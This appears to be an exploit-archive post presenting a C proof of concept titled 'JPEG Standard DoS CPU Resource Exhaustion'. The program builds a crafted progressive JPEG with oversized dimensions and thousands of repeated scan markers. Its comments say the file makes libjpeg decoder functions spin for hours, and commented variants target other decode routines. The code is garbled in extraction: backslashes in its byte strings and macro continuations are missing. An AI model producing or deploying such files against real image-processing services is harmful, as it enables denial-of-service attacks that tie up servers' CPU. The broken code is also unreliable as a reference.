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JPEG Standard DoS CPU Resource Exhaustion

Posted on 30 November -0001

<HTML><HEAD><TITLE>JPEG Standard DoS CPU Resource Exhaustion</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <err.h>

#define KB * 1024

/* max 65500 */
#define DIMENSION "x20x00" /* ~8MB RAM? */

/* copied from the source because I don't want to think about what a valid table has to look like */
static char quanttab[] = {
  16,  11,  10,  16,  24,  40,  51,  61,
  12,  12,  14,  19,  26,  58,  60,  55,
  14,  13,  16,  24,  40,  57,  69,  56,
  14,  17,  22,  29,  51,  87,  80,  62,
  18,  22,  37,  56,  68, 109, 103,  77,
  24,  35,  55,  64,  81, 104, 113,  92,
  49,  64,  78,  87, 103, 121, 120, 101,
  72,  92,  95,  98, 112, 100, 103,  99
};
static int quanttab_size = sizeof(quanttab);

/* Huffman tables per JPEG spec */
static char dclumbits[] = {
  0, 1, 5, 1, 1, 1, 1, 1,
  1, 0, 0, 0, 0, 0, 0, 0
};
static char dclumvals[]= {
  0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11
};

static char aclumbits[]= {
  0, 2, 1, 3, 3, 2, 4, 3,
  5, 5, 4, 4, 0, 0, 1, 0x7d
};
static char aclumvals[]= {
  0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12,
  0x21, 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07,
  0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xa1, 0x08,
  0x23, 0x42, 0xb1, 0xc1, 0x15, 0x52, 0xd1, 0xf0,
  0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0a, 0x16,
  0x17, 0x18, 0x19, 0x1a, 0x25, 0x26, 0x27, 0x28,
  0x29, 0x2a, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,
  0x3a, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49,
  0x4a, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59,
  0x5a, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69,
  0x6a, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79,
  0x7a, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89,
  0x8a, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98,
  0x99, 0x9a, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
  0xa8, 0xa9, 0xaa, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6,
  0xb7, 0xb8, 0xb9, 0xba, 0xc2, 0xc3, 0xc4, 0xc5,
  0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xd2, 0xd3, 0xd4,
  0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xe1, 0xe2,
  0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea,
  0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8,
  0xf9, 0xfa
};

#define WRITE_BYTE(byte) { img[off] = (byte);  off++; }
#define WRITE_WORD(word) { 
  WRITE_BYTE((word >> 8) & 0xff); 
  WRITE_BYTE(word & 0xff); 
}

/*#define ARI*/

#ifdef ARI
/* progressive arithmetic */
#define SOF10 
  "xFFxCAx00x0Bx08" DIMENSION DIMENSION "x01x00x11x00"
#else
/* progressive Huffman */
#define SOF2 
  "xFFxC2x00x0Bx08" DIMENSION DIMENSION "x01x00x11x00"
#endif

int main(void) {
  puts("preparing...");
  unsigned char head[] =
    /*SOI*/ "xFFxD8"
#ifdef ARI
    SOF10
#else
    SOF2
#endif
    /*DQT*/ "xFFxDBx00x43x00" /*values in quanttab*/;

  /* Uncomment this to cause decode_mcu_AC_refine() to spin for hours */
  unsigned char sos[] = "xFFxDAx00x08x01x00x00x01x01x10";

  /* Uncomment this to cause decode_mcu_AC_first() to spin for hours */
/*  unsigned char sos[] = "xFFxDAx00x08x01x00x00x01x01x00"; */

  /* Uncomment this to cause decode_mcu_DC_refine() to spin for hours */
/*  unsigned char sos[] = "xFFxDAx00x08x01x00x00x00x00x10"; */

  /* Uncomment this to cause decode_mcu_DC_first() to spin for hours */
/*  unsigned char sos[] = "xFFxDAx00x08x01x00x00x00x00x00"; */

  int headlen = sizeof(head)-1;
  int soslen = sizeof(sos)-1;
  int i, len, nval, soses = 0;

  unsigned char img[8000 KB];
  memcpy(img, head, headlen);
  int off = headlen;
  memcpy(img+off, quanttab, quanttab_size);
  off += quanttab_size;

#ifndef ARI
  /* Write default Huffman tables */
  WRITE_BYTE(0xff);  WRITE_BYTE(0xc4);  /* DHT marker */
  nval = 0;
  for(i = 0; i < 16; i++) nval += dclumbits[i];
  len = 19 + nval;
  WRITE_WORD(len);  /* DHT length */
  WRITE_BYTE(0x00);  /* Huffman class */
  for(i = 0; i < 16; i++) WRITE_BYTE(dclumbits[i]);
  for(i = 0; i < nval; i++) WRITE_BYTE(dclumvals[i]);

  WRITE_BYTE(0xff);  WRITE_BYTE(0xc4);  /* DHT marker */
  nval = 0;
  for(i = 0; i < 16; i++) nval += aclumbits[i];
  len = 19 + nval;
  WRITE_WORD(len);  /* DHT length */
  WRITE_BYTE(0x10);  /* Huffman class */
  for(i = 0; i < 16; i++) WRITE_BYTE(aclumbits[i]);
  for(i = 0; i < nval; i++) WRITE_BYTE(aclumvals[i]);
#endif

  while (off + soslen <= sizeof(img)) {
    memcpy(img + off, sos, soslen);
    off += soslen;
    soses++;
  }
  /* leave the rest uninitialized, whatever */

  printf("SOS markers: %d
", soses);

  FILE *f = fopen("eofloop_2.jpg", "w");
  if (!f) err(1, "fopen");
  if (fwrite(img, off, 1, f) != 1)
    errx(1, "fwrite");
  if (fclose(f))
    err(1, "fclose");

  return 0;
}
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